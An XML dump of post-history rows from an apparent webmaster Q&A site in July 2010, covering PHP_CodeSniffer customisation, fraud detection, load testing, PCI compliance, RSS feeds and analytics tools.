  <row Id="2054" PostHistoryTypeId="5" PostId="1141" RevisionGUID="e3cf2614-5021-4257-835d-e87a7097f582" CreationDate="2010-07-17T15:02:05.347" UserId="500" Comment="Added horizontal line break and link to Ubuntu" Text="I found a solution for removing the &quot;*Line indented incorrectly*&quot; error but first I should say that *dragonmantank* has a excellent point - you shouldn't mix PHP and HTML. It is a recipe for headaches. However, unfortunatly I think mixing PHP and HTML is very common especially in legacy software.&#xD;&#xA;&#xD;&#xA;The quickest and dirtyest fix assuming we are using the `phpcs` default coding standards (which are the [PEAR][1] standards) is to remove the relevant Sniff file. Find the location of the PEAR standards, for me, using [Ubuntu][2], it was here:&#xD;&#xA;&#xD;&#xA;    &gt; cd /usr/share/php/PHP/CodeSniffer/Standards/PEAR/Sniffs/WhiteSpace&#xD;&#xA;&#xD;&#xA;Rename the `ScopeIndentSniff.php` file so the sniff that checks code indentation will no longer be executed:&#xD;&#xA;&#xD;&#xA;    &gt; sudo mv ScopeIndentSniff.php ScopeIndentSniff.php.bk&#xD;&#xA;&#xD;&#xA;**Job done** - now the indentation won't be checked and the &quot;*Line indented incorrectly*&quot; error won't occur (*and your code won't be standard and won't be such high quality!*).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The above solution is pretty amateur - the cleaner solution is to create a new coding standard which uses all of the PEAR standards except for your cherry picked customisations. This very quick to do. Here is how to do it using `getIncludedSniffs()` and `getExcludedSniffs()` and some `phpcs` naming conventions:&#xD;&#xA;&#xD;&#xA;    Go to the directory where the phpcs coding standards are defined:&#xD;&#xA;    &gt; cd /usr/share/php/PHP/CodeSniffer/Standards&#xD;&#xA;&#xD;&#xA;    Create a new directory for your new standard:&#xD;&#xA;    &gt; sudo mkdir PEARish&#xD;&#xA;    &gt; cd PEARish&#xD;&#xA;&#xD;&#xA;    Create your new standard by saving the following in the file:&#xD;&#xA;    &gt; emacs PEARishCodingStandard.php&#xD;&#xA;    &lt;?php&#xD;&#xA;    class PHP_CodeSniffer_Standards_PEARish_PEARishCodingStandard extends PHP_CodeSniffer_Standards_CodingStandard&#xD;&#xA;    {&#xD;&#xA;    	public function getIncludedSniffs()&#xD;&#xA;    	{&#xD;&#xA;    	  return array('PEAR');&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	public function getExcludedSniffs()&#xD;&#xA;    	{&#xD;&#xA;    	  return array('PEAR/Sniffs/WhiteSpace/ScopeIndentSniff.php');&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Test your new customised coding standard by invoking `phpcs` using the `--standard` flag. For example:&#xD;&#xA;&#xD;&#xA;    &gt; phpcs --standard=PEARish Test.php&#xD;&#xA;&#xD;&#xA;Once it is working you can set your new standard as the default which means you don't need to type the `--standard` flag each time you use `phpcs`:&#xD;&#xA;&#xD;&#xA;    &gt; phpcs --config-set default_standard PEARish&#xD;&#xA;&#xD;&#xA;See the [phpcs manual][3] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net&#xD;&#xA;  [2]: http://www.ubuntu.com/&#xD;&#xA;  [3]: http://pear.php.net/manual/en/package.php.php-codesniffer.coding-standard-tutorial.php" />
  <row Id="2055" PostHistoryTypeId="5" PostId="1141" RevisionGUID="5b6c670f-4dd7-46a9-82bc-f6b8da6b5dd0" CreationDate="2010-07-17T15:10:52.410" UserId="500" Comment="Added missing sudo" Text="I found a solution for removing the &quot;*Line indented incorrectly*&quot; error but first I should say that *dragonmantank* has a excellent point - you shouldn't mix PHP and HTML. It is a recipe for headaches. However, unfortunatly I think mixing PHP and HTML is very common especially in legacy software.&#xD;&#xA;&#xD;&#xA;The quickest and dirtyest fix assuming we are using the `phpcs` default coding standards (which are the [PEAR][1] standards) is to remove the relevant Sniff file. Find the location of the PEAR standards, for me, using [Ubuntu][2], it was here:&#xD;&#xA;&#xD;&#xA;    &gt; cd /usr/share/php/PHP/CodeSniffer/Standards/PEAR/Sniffs/WhiteSpace&#xD;&#xA;&#xD;&#xA;Rename the `ScopeIndentSniff.php` file so the sniff that checks code indentation will no longer be executed:&#xD;&#xA;&#xD;&#xA;    &gt; sudo mv ScopeIndentSniff.php ScopeIndentSniff.php.bk&#xD;&#xA;&#xD;&#xA;**Job done** - now the indentation won't be checked and the &quot;*Line indented incorrectly*&quot; error won't occur (*and your code won't be standard and won't be such high quality!*).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The above solution is pretty amateur - the cleaner solution is to create a new coding standard which uses all of the PEAR standards except for your cherry picked customisations. This very quick to do. Here is how to do it using `getIncludedSniffs()` and `getExcludedSniffs()` and some `phpcs` naming conventions:&#xD;&#xA;&#xD;&#xA;    Go to the directory where the phpcs coding standards are defined:&#xD;&#xA;    &gt; cd /usr/share/php/PHP/CodeSniffer/Standards&#xD;&#xA;&#xD;&#xA;    Create a new directory for your new standard:&#xD;&#xA;    &gt; sudo mkdir PEARish&#xD;&#xA;    &gt; cd PEARish&#xD;&#xA;&#xD;&#xA;    Create your new standard by saving the following in the file:&#xD;&#xA;    &gt; sudo emacs PEARishCodingStandard.php&#xD;&#xA;    &lt;?php&#xD;&#xA;    class PHP_CodeSniffer_Standards_PEARish_PEARishCodingStandard extends PHP_CodeSniffer_Standards_CodingStandard&#xD;&#xA;    {&#xD;&#xA;    	public function getIncludedSniffs()&#xD;&#xA;    	{&#xD;&#xA;    	  return array('PEAR');&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	public function getExcludedSniffs()&#xD;&#xA;    	{&#xD;&#xA;    	  return array('PEAR/Sniffs/WhiteSpace/ScopeIndentSniff.php');&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Test your new customised coding standard by invoking `phpcs` using the `--standard` flag. For example:&#xD;&#xA;&#xD;&#xA;    &gt; phpcs --standard=PEARish Test.php&#xD;&#xA;&#xD;&#xA;Once it is working you can set your new standard as the default which means you don't need to type the `--standard` flag each time you use `phpcs`:&#xD;&#xA;&#xD;&#xA;    &gt; sudo phpcs --config-set default_standard PEARish&#xD;&#xA;&#xD;&#xA;See the [phpcs manual][3] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net&#xD;&#xA;  [2]: http://www.ubuntu.com/&#xD;&#xA;  [3]: http://pear.php.net/manual/en/package.php.php-codesniffer.coding-standard-tutorial.php" />
  <row Id="2059" PostHistoryTypeId="2" PostId="1154" RevisionGUID="09e2f50b-be15-4878-bb95-95803eee96a5" CreationDate="2010-07-17T16:13:30.340" UserId="576" Text="Excerpt from Googler [Maile Ohye's explanation on Sitelinks in Google Webmaster Help][1] -&#xD;&#xA;&#xD;&#xA;&gt; Sitelinks are often produced when&#xD;&#xA;&gt; there's a high probability that the&#xD;&#xA;&gt; site is the top match for the user's&#xD;&#xA;&gt; query. In other words, to have&#xD;&#xA;&gt; sitelinks ... you'll probably need to&#xD;&#xA;&gt; be the definitive first result&#xD;&#xA;&#xD;&#xA;Sitelinks are completely automated &amp; based on Google's algorithms. To get Sitelinks for a site it helps to have a well-structured website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://groups.google.com/group/Google_Webmaster_Help-Tools/browse_thread/thread/63b915eed3386a60?pli=1" />
  <row Id="2061" PostHistoryTypeId="2" PostId="1155" RevisionGUID="052189c4-1a8e-4007-9ed9-b4b0c6b68a3a" CreationDate="2010-07-17T16:38:41.643" UserId="576" Text="[WebPageTest][1] currently lets you test your site for free from 8 locations across the world &amp; there was info at Velocity 2010 that more test locations are coming up. It even lets you configure browser, connection &amp; band-width type &amp; also choose from other test settings. &#xD;&#xA;&#xD;&#xA;When you submit a URL to test, it generates a comprehensive report that includes load time &amp; recommendations for optimizing the webpage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webpagetest.org/test" />
  <row Id="2062" PostHistoryTypeId="2" PostId="1156" RevisionGUID="026afde6-d370-4a78-8453-25ca1e4b9e97" CreationDate="2010-07-17T16:49:02.193" UserId="55" Text="I've been dealing with an inordinate amount of bogus payments, mostly people using PayPal. I am aware of services that provide an API that returns a score, but I'd like to first explore the possibility of using something open source.&#xD;&#xA;&#xD;&#xA;Are there any solutions (language matters not) that use freely available geolocation databases (I'm interested only in country level accuracy, and it does not have to be perfect) combined with other freely available sources of information that may help determine a fraud sale? (I.e. checking IP blacklists, etc).&#xD;&#xA;&#xD;&#xA;I could probably write something, but its not a wheel that I'm particularly interested in studying, much less re-inventing." />
  <row Id="2063" PostHistoryTypeId="1" PostId="1156" RevisionGUID="026afde6-d370-4a78-8453-25ca1e4b9e97" CreationDate="2010-07-17T16:49:02.193" UserId="55" Text="Are there open solutions for fraud detection?" />
  <row Id="2064" PostHistoryTypeId="3" PostId="1156" RevisionGUID="026afde6-d370-4a78-8453-25ca1e4b9e97" CreationDate="2010-07-17T16:49:02.193" UserId="55" Text="&lt;ecommerce&gt;&lt;fraud-detection&gt;" />
  <row Id="2065" PostHistoryTypeId="2" PostId="1157" RevisionGUID="2aab055a-e3b4-4f39-b88c-806fa4a2c141" CreationDate="2010-07-17T16:54:16.617" UserId="576" Text="Among the free tools that offer the most features, Clicky &amp; StatCounter look promising. [See comparison chart][1]&#xD;&#xA;&#xD;&#xA;Both have paid plans as well. &#xD;&#xA;&#xD;&#xA;I've been using the free version of StatCounter on my blog since 5 years &amp; I'm pretty happy with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.getclicky.com/#theotherguys" />
  <row Id="2066" PostHistoryTypeId="5" PostId="462" RevisionGUID="d4d4ad1f-777f-43fd-8271-aee33f5eca8a" CreationDate="2010-07-17T17:01:43.720" UserId="55" Comment="added 343 characters in body" Text="I am helping a friend to bring a very large, completely static web site out of the stone age. One thing I'd like to add immediately is a RSS/ATOM feed.&#xD;&#xA;&#xD;&#xA;He does not like working with any kind of CMS. He makes his pages using a Dream Weaver template, then uploads it and manually updates some pages to link to the new content. His site does very, very well in search engines, but he's not quite engaging new visitors who would probably put him in their reader.&#xD;&#xA;&#xD;&#xA;Is there something I can install that allows him to easily / manually add new items to a feed? Perhaps something that if given a link could fetch a content excerpt?&#xD;&#xA;&#xD;&#xA;Searching around yielded hundreds of things that might work, but many from 2000 or prior that have not been updated since. Language is not critical, but PHP/Python would be ideal.&#xD;&#xA;&#xD;&#xA;I really need something self hosted.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;The flow of this should be, webmaster makes a new static page, uploads it, links to it .. now some mention of that page should exist in the RSS feed. Ideally, the webmaster could just provide the link to the new page, and the title with a short excerpt would appear in the feed.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;Perhaps even something that just scraped title / excerpt from comment tags, i.e. :&#xD;&#xA;&#xD;&#xA;    &lt;!-- BEGIN EXCERPT&#xD;&#xA;    &lt;p&gt;The quick brown fox got p0wned by l33t kittens&lt;/p&gt;&#xD;&#xA;    --&gt;&#xD;&#xA;&#xD;&#xA;I don't need a full blown parser, just something that makes it easy for someone with minimal skills to maintain a feed on a completely static site." />
  <row Id="2067" PostHistoryTypeId="5" PostId="1102" RevisionGUID="d369667a-a26e-4161-8015-4bec0b36389b" CreationDate="2010-07-17T17:24:28.347" UserId="539" Comment="added 252 characters in body" Text="Others have said it, but they just haven’t rammed the point home enough: gzipping.&#xD;&#xA;&#xD;&#xA;1. Virtually no effort, or drawbacks.&#xD;&#xA;2. In my limited experience, reduces HTML size by between 60% and 90%.&#xD;&#xA;&#xD;&#xA;All the other tweaks you can make to HTML require more effort/maintenance, and hardly have any effect compared to just gzipping and forgetting. They’re simply not worth the time unless you‘re Google. You are not Google.&#xD;&#xA;&#xD;&#xA;(As others have mentioned though, the more consistent your HTML is, the more effect gzipping will have, as — according to my limited understanding — gzipping looks for identical strings in your file, and replaces each repeated instance with a tiny code referring to the original. So authoring practices like keeping your attributes in the same order, and keeping all your casing the same, can help gzipping do its work.)&#xD;&#xA;&#xD;&#xA;Oh — and if you’re automatically minifying your HTML at some point in your build/serving process, that doesn’t require much more effort/maintenance. Some HTML minifiers are listed here:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/728260/html-minification" />
  <row Id="2068" PostHistoryTypeId="2" PostId="1158" RevisionGUID="380fd95b-b51d-4621-896a-d7b7e1054db2" CreationDate="2010-07-17T17:37:35.203" UserId="106" Text="The IT department of the nonprofit organization I work for recently got a new virtual server running CentOS (with Apache and PHP 5), which is supposed to host our website.  During the process of setting up the server I discovered that the slightest use of the new machine caused major performance problems (I couldn't extract tarballs without bringing it to a halt). After several weeks of casting about in the dark by tech support, it now appears to be working fine, but I'm still nervous about moving the main site there.&#xD;&#xA;&#xD;&#xA;I have no budget to work with (so no software or services that require money), although due to recent cut backs I have several older desktops that I could use if it helps. The site doesn't need to withstand massive amounts of traffic (it's a Drupal site just a few thousand visitors a day), but I would like to put it through a bit of it paces before moving the main site over.&#xD;&#xA;&#xD;&#xA;What are cheap tools that I can use to get a sense if the server can withstand even low levels of traffic? I'm not looking to test the site itself yet, just fundamental operation of the server." />
  <row Id="2069" PostHistoryTypeId="1" PostId="1158" RevisionGUID="380fd95b-b51d-4621-896a-d7b7e1054db2" CreationDate="2010-07-17T17:37:35.203" UserId="106" Text="Cheap server stress testing" />
  <row Id="2070" PostHistoryTypeId="3" PostId="1158" RevisionGUID="380fd95b-b51d-4621-896a-d7b7e1054db2" CreationDate="2010-07-17T17:37:35.203" UserId="106" Text="&lt;apache&gt;&lt;linux&gt;&lt;load-testing&gt;" />
  <row Id="2071" PostHistoryTypeId="2" PostId="1159" RevisionGUID="c040b88c-2ce5-4f4e-97b1-31c652641195" CreationDate="2010-07-17T17:59:25.240" UserId="659" Text="[Apache Jmeter][1] is excellent for this sort of thing - you can simulate simple cases through to quite complicated functionality and it's free. There's a bit of a learning curve setting up the tests, but it's worth the few hours you'll take to learn it.&#xD;&#xA;&#xD;&#xA;It's also worth mentioning that Apache ships with the &quot;ab&quot; Apache Bench tool, which you can use for relatively simple benchmarking operations - ie/ fetching a page of your choice a few thousand times with varying degrees of parallelism.&#xD;&#xA;&#xD;&#xA;  [1]: http://jakarta.apache.org/jmeter/" />
  <row Id="2072" PostHistoryTypeId="2" PostId="1160" RevisionGUID="efb92e89-c29b-4177-b22e-5ccec61caa10" CreationDate="2010-07-17T18:25:27.200" UserId="660" Text="No, it will be much harder to rank it in Google.IT&#xD;&#xA;&#xD;&#xA;Try getting a .it domain that has the keyword. So if your keyword is &quot;tickets&quot;, try mytickets.it or ticketplace.it etc.&#xD;&#xA;&#xD;&#xA;Overall, you will need backlinks from Italian sites." />
  <row Id="2073" PostHistoryTypeId="2" PostId="1161" RevisionGUID="785ea865-d8fe-4901-bafd-39104bad047f" CreationDate="2010-07-17T18:28:56.897" UserId="108" Text="You should contact Paypal.  Check out this page on their site, https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/bizui/BusinessSecurity-outside&amp;country=US&amp;locale.x=en_US&amp;pagetype=outside.  Since you are using PayPal they should be providing fraud detection for you.&#xD;&#xA;&#xD;&#xA;I used to work for an online financial firm and no matter what you will run into some fraud issues.  We used Lexus Nexus which is one of the major companies in the area of scoring you mentioned.  They are expensive and take a good deal of time to integrate.  Even with their help we still had at least 4-5 individuals committing fraud a year.  We eventually rolled our own fraud detection software because it was so specific.  We found that the people committing fraud knew how to exploit our system and we could hunt for a pattern.&#xD;&#xA;&#xD;&#xA;The first thing you need to do is find what pattern you are looking for.  Then you might be able to find some &quot;non-fraud&quot; related software and integrate it to look for fraud.  Specifically, it sounds like geotracking their IP address could be useful.  It is possible that software exists to do this specifically to fraud.  I would find it much more possible though that a standard geotracking package with a slight tweak would do exactly what you want." />
  <row Id="2074" PostHistoryTypeId="2" PostId="1162" RevisionGUID="7f1021ca-0f12-49e5-9109-d3309d24e4fd" CreationDate="2010-07-17T18:30:52.090" UserId="108" Text="Checkout this post http://webmasters.stackexchange.com/questions/385/how-do-you-load-test-your-application.  It is very similar.  Jmeter is mentioned and a few other solutions.  Almost all of them looked to be free." />
  <row Id="2075" PostHistoryTypeId="2" PostId="1163" RevisionGUID="32e0aaf3-1b89-4c18-bd77-095eb51d35db" CreationDate="2010-07-17T19:37:37.377" UserId="344" Text="Google's [RatProxy](http://code.google.com/p/ratproxy/) is also a really great option for check for XSS.  Since it's set up and operates as a proxy, it's easy to use, as it simply follows your browser around as you test your site normally.  It records all the interactions, POSTs, GETs, etc, and can replay those interactions attempting to inject malicious content.  Once it replays the requests, it will check the output for the signs of XSS.  Additionally, it keeps a record of the entire HTTP lifecycle, which can be used for further debugging." />
  <row Id="2076" PostHistoryTypeId="16" PostId="1163" RevisionGUID="32e0aaf3-1b89-4c18-bd77-095eb51d35db" CreationDate="2010-07-17T19:37:37.377" UserId="-1" />
  <row Id="2077" PostHistoryTypeId="5" PostId="1156" RevisionGUID="835f43e6-eb43-48b9-a922-187b035e4d8d" CreationDate="2010-07-17T20:17:33.100" UserId="55" Comment="added 15 characters in body" Text="I've been dealing with an inordinate amount of bogus payments, mostly people using PayPal. I am aware of services that provide an API that returns a score, but I'd like to first explore the possibility of using something open source.&#xD;&#xA;&#xD;&#xA;Are there any solutions (language matters not) that use freely available geolocation databases (I'm interested only in country level accuracy, and it does not have to be perfect) combined with other freely available sources of information that may help determine a fraud sale? (I.e. checking IP blacklists, etc).&#xD;&#xA;&#xD;&#xA;I could probably write something, but its not a wheel that I'm particularly interested in studying, much less re-inventing, unless I must." />
  <row Id="2078" PostHistoryTypeId="5" PostId="1018" RevisionGUID="c6313ab9-4308-4ccc-a9ee-e6b7d01c2acc" CreationDate="2010-07-17T20:21:01.453" UserId="55" Comment="added 108 characters in body" Text="You will need to follow (to the letter) and preferably **exceed** the [PCI DSS][1] standard. This is, in no way, an easy task to accomplish nor should it be taken trivially.&#xD;&#xA;&#xD;&#xA;I ***strongly*** recommend that you find a third party processor that can handle this for you and integrate it into your billing system. It goes WAY beyond just having SSL and encrypting the information in the database. You also have to monitor access, detect intrusions, have systems in place that can notify only effected people in the event of a breach (and determine what data may have been compromised), etc.&#xD;&#xA;&#xD;&#xA;Then, there is physical access to the servers, the network, etc. This means a locked cabinet  that is not shared on servers that you own where the physical LAN is also protected. Compliance is not going to be cheap, or easy.&#xD;&#xA;&#xD;&#xA;Really, spend every effort possible to offload this to a third party. The liability alone is simply not worth the risk unless your talking transactions that amount to hundreds of thousands of (insert your currency here) monthly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard" />
  <row Id="2079" PostHistoryTypeId="5" PostId="1018" RevisionGUID="58ae3fda-6c15-4bf9-919e-c9508134068b" CreationDate="2010-07-17T20:30:46.827" UserId="55" Comment="More information; deleted 20 characters in body" Text="You will need to follow (to the letter) and preferably **exceed** the [PCI DSS][1] standard. This is, in no way, an easy task to accomplish nor should it be taken trivially.&#xD;&#xA;&#xD;&#xA;I ***strongly*** recommend that you find a third party processor that can handle this for you and integrate it into your billing system. It goes WAY beyond just having SSL and encrypting the information in the database. You also have to monitor access, detect intrusions, have systems in place that can notify only effected people in the event of a breach (and determine what data may have been compromised), etc.&#xD;&#xA;&#xD;&#xA;Then, there is physical access to the servers, the network, etc. This means a locked cabinet  that is not shared on servers that you own where the physical LAN is also protected. Compliance is not going to be cheap, or easy.&#xD;&#xA;&#xD;&#xA;Really, spend every effort possible to offload this to a third party. The liability alone is simply not worth the risk unless your talking transactions that amount to hundreds of thousands of (insert your currency here) monthly. In that case, the fees you save might justify bringing on the talent needed to implement and monitor systems thats store the information. You'll need:&#xD;&#xA;&#xD;&#xA; - Systems programmers (you will need kernel and file system level auditing hooks)&#xD;&#xA; - IDS/IPS gurus (unless you love vendor lock-in)&#xD;&#xA; - 24/7/365 staff to monitor the alerts generated from the systems that the experts designed. These people aren't cheap, they make the decision to pull the billing plug or report a bug in the algorithms that you use.&#xD;&#xA;&#xD;&#xA;And then you could offload all of that to a third party, quite cheaply.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard" />
  <row Id="2080" PostHistoryTypeId="2" PostId="1164" RevisionGUID="09563eef-f31c-4541-92c1-736bb53eb19d" CreationDate="2010-07-17T21:30:35.850" UserId="427" Text="Seeing as he's that into doing everything by hand, why not [do them by hand too][1]?...&#xD;&#xA;&#xD;&#xA;  [1]:  http://www.w3schools.com/rss/" />
  <row Id="2081" PostHistoryTypeId="5" PostId="1018" RevisionGUID="fd645dfa-8e78-4d7e-b9a2-7580d2924106" CreationDate="2010-07-17T21:36:10.017" UserId="55" Comment="added 7 characters in body" Text="You will need to follow (to the letter) and preferably **exceed** the [PCI DSS][1] standard. This is, in no way, an easy task to accomplish nor should it be taken trivially.&#xD;&#xA;&#xD;&#xA;I ***strongly*** recommend that you find a third party processor that can handle this for you and integrate it into your billing system. It goes WAY beyond just having SSL and encrypting the information in the database. You also have to monitor access, detect intrusions, have systems in place that can notify only effected people in the event of a breach (and determine what data may have been compromised), etc.&#xD;&#xA;&#xD;&#xA;Then, there is physical access to the servers, the network, etc. This means a locked cabinet  that is not shared on servers that you own where the physical LAN is also protected. Compliance is not going to be cheap, or easy.&#xD;&#xA;&#xD;&#xA;Really, spend every effort possible to offload this to a third party. The liability alone is simply not worth the risk unless your talking transactions that amount to hundreds of thousands of (insert your currency here) monthly. In that case, the fees you save might justify bringing on the talent needed to implement and monitor systems thats store the information. You'll need:&#xD;&#xA;&#xD;&#xA; - Systems programmers (you will need kernel and file system level auditing hooks)&#xD;&#xA; - IDS/IPS gurus (unless you love vendor lock-in)&#xD;&#xA; - 24/7/365 staff to monitor the alerts generated from the systems that the experts designed. These people aren't cheap, they make the decision to pull the billing plug or report a bug in the algorithms that you use.&#xD;&#xA;&#xD;&#xA;And then again, you could offload all of that to a third party, quite cheaply.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard" />
  <row Id="2082" PostHistoryTypeId="2" PostId="1165" RevisionGUID="57ddb16e-ed08-4efc-8482-2ca491ad41c2" CreationDate="2010-07-17T22:28:38.207" UserId="10" Text="Dan Bricklin, creator of VisiCalc, has a free product called [Software Garden ListGarden](http://www.softwaregarden.com/products/listgarden/) that generates RSS feeds manually:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.softwaregarden.com/products/listgarden/add1.gif" />
  <row Id="2083" PostHistoryTypeId="2" PostId="1166" RevisionGUID="fec1c3fd-19a9-471e-a81d-57db0e06b6bf" CreationDate="2010-07-17T22:33:08.577" UserId="10" Text="We've been using [MaxMind](http://www.maxmind.com/app/ccv_overview) for years and it does quite a good job at detecting fraudulent transactions at an extremely reasonable price. It's not open source but frankly it's so inexpensive that unless you have an ideological problem with using commercial services, it's a great option." />
  <row Id="2084" PostHistoryTypeId="2" PostId="1167" RevisionGUID="0fd50502-a2e9-4e81-b51e-c51cd975c456" CreationDate="2010-07-17T22:39:08.693" UserId="677" Text="Services like http://chargify.com/ offer an extra layer on-top of existing payment gateways. They'll likely offer all sorts of ways to store credit cards for you, implement recurring payments, and even create reports for you.&#xD;&#xA;&#xD;&#xA;This will let you circumvent the whole liability and PCI compliance issue. One concern I have, is if one day you want to change vendors, merchant accounts, or gateways. How do you take your 10,000 customers with you? Do they hand over a database of credit cards? Will the work with a competitor to move the credit card information over?&#xD;&#xA;&#xD;&#xA;I doubt it. Chances are you'd have to ask all of your customers to re-submit their billing info if you change providers. This is one small argument in favor of storing the credit card information yourself.  Probably only worth it if you are going to have a lot of customers and a lot of revenue. I'd be very curious to hear other peoples thoughts on this particular conundrum. " />
  <row Id="2085" PostHistoryTypeId="2" PostId="1168" RevisionGUID="fabff089-2ebd-4dce-ac32-0db30a5f94ad" CreationDate="2010-07-17T23:47:06.547" UserId="427" Text="Before finding a definitive solution (I don't have it) you could always try and use Google for this.&#xD;&#xA;&#xD;&#xA;E.g. Login to Google Reader, click the Add button, add your friend's website there, Google will tell you that it has no feed and ask if you want Google to watch the page and create one for you. Then look at the &quot;feed URL&quot; there (http://www.google.com/notificationservice/webchanges/webfeeds/LONGNUMBER) and have your friend embed it on his homepage, as his feed URL." />
  <row Id="2086" PostHistoryTypeId="5" PostId="378" RevisionGUID="ccd0c6c9-130f-49b7-824d-c0c882adabe8" CreationDate="2010-07-17T23:57:57.973" UserId="164" Comment="added 548 characters in body" Text="AskApache:&#xD;&#xA;http://www.askapache.com/&#xD;&#xA;&#xD;&#xA;**Edit - more resources:**&#xD;&#xA;&#xD;&#xA;HowToForge:&#xD;&#xA;http://www.howtoforge.com/&#xD;&#xA;&#xD;&#xA;Comprehensive guide to .htaccess:&#xD;&#xA;http://www.javascriptkit.com/howto/htaccess.shtml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Definitive Guide to htaccess Techniques: Do’s and Don’ts&#xD;&#xA;http://www.noupe.com/php/htaccess-techniques.html&#xD;&#xA;&#xD;&#xA;20 ways to Secure your Apache Configuration:&#xD;&#xA;http://www.petefreitag.com/item/505.cfm&#xD;&#xA;&#xD;&#xA;.htaccess Email Group:&#xD;&#xA;http://groups.google.com/group/apachehtaccess?lnk=&#xD;&#xA;&#xD;&#xA;alt.apache.configuration Email Group:&#xD;&#xA;http://groups.google.com/group/alt.apache.configuration?lnk=" />
  <row Id="2087" PostHistoryTypeId="6" PostId="961" RevisionGUID="03891af0-54be-4871-8555-634344cb01d1" CreationDate="2010-07-18T01:25:21.617" UserId="343" Comment="edited tags; edited tags" Text="&lt;seo&gt;&lt;redirects&gt;&lt;internationalization&gt;&lt;geolocation&gt;" />
  <row Id="2088" PostHistoryTypeId="2" PostId="1169" RevisionGUID="5fa798b8-8d29-4ab5-a14a-fa051fb3c6bc" CreationDate="2010-07-18T03:31:36.067" UserId="686" Text="I couldn't see anything in WP 3.0 that did what you wanted.&#xD;&#xA;&#xD;&#xA;The Register Plus plugin *almost* gives you what you want.  It allows you to disable registration notifications.  Maybe drop the developer a line to see if he can add what you want?" />
  <row Id="2089" PostHistoryTypeId="2" PostId="1170" RevisionGUID="7df8f7d5-46cf-4431-ab8b-e99d1fa37492" CreationDate="2010-07-18T04:11:39.277" UserId="210" Text="[Piwik][1]: Open source real time analytics. I don't use this, but I have a friend who does and he really likes it. It does look pretty nice and with something like this you can do all sorts of other things with the data (such as your own real time stats on the website).&#xD;&#xA;&#xD;&#xA;Also, [here is a list of alternatives][2]. It has log file analyzers, like Analog or AWStats, remote services, like stat24 and Yahoo Analytics, and self hosted, like Open Web Analytics and FireStats.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://piwik.org/&#xD;&#xA;  [2]: http://regulargeek.com/2010/05/29/25-free-google-analytics-alternatives/" />
  <row Id="2090" PostHistoryTypeId="2" PostId="1171" RevisionGUID="f1cfcfe3-fee9-4740-be49-f4b50ce6b7eb" CreationDate="2010-07-18T04:19:45.033" UserId="688" Text="I'm not a webmaster - I'm a generalist with a strong bias towards development of applications and databases, but currently I'm helping a client I've consulted with before, and they want to move some files from one hosting provider to another.  They are moving more and more stuff to cloud hosting to be able to handle scalability - they get a lot of hits when big events happen and people want their data.&#xD;&#xA;&#xD;&#xA;Their regular web guy has kind of flaked out on them.&#xD;&#xA;&#xD;&#xA;All static content (data files, reports, etc), might need to translate some links, add some Google analytics, etc.&#xD;&#xA;&#xD;&#xA;But what is a good tool for performing the transfer initially - to sync up the new site to the old site. before fixing up the broken links etc?  I'm pretty sure they'll get me FTP access to the old and new sites.&#xD;&#xA;&#xD;&#xA;Either Mac or PC, whatever's best." />
  <row Id="2091" PostHistoryTypeId="1" PostId="1171" RevisionGUID="f1cfcfe3-fee9-4740-be49-f4b50ce6b7eb" CreationDate="2010-07-18T04:19:45.033" UserId="688" Text="Transferring site from one server to another - good tools?" />
  <row Id="2092" PostHistoryTypeId="3" PostId="1171" RevisionGUID="f1cfcfe3-fee9-4740-be49-f4b50ce6b7eb" CreationDate="2010-07-18T04:19:45.033" UserId="688" Text="&lt;ftp&gt;&lt;tools&gt;" />
  <row Id="2093" PostHistoryTypeId="2" PostId="1172" RevisionGUID="dd437ad0-e702-4283-a363-b8840aed8c3d" CreationDate="2010-07-18T04:33:58.303" UserId="17" Text="How do you enhance your websites load speed without killing the design and accessibility? File compression, CDN, Gzip? What are the best tools for doing so?" />
  <row Id="2094" PostHistoryTypeId="1" PostId="1172" RevisionGUID="dd437ad0-e702-4283-a363-b8840aed8c3d" CreationDate="2010-07-18T04:33:58.303" UserId="17" Text="How do you enhance your websites speed without compromising the design and access?" />
  <row Id="2095" PostHistoryTypeId="3" PostId="1172" RevisionGUID="dd437ad0-e702-4283-a363-b8840aed8c3d" CreationDate="2010-07-18T04:33:58.303" UserId="17" Text="&lt;seo&gt;&lt;design&gt;&lt;speed&gt;&lt;cdn&gt;&lt;gzip&gt;" />
  <row Id="2096" PostHistoryTypeId="2" PostId="1173" RevisionGUID="420dac2a-c69a-4988-94e7-ab407cb779d2" CreationDate="2010-07-18T04:39:39.673" UserId="17" Text="Is there ever a time when you should use caching? Like for frequently updated pages? Or, should you always cache?&#xD;&#xA;&#xD;&#xA;Please give examples and reason?" />
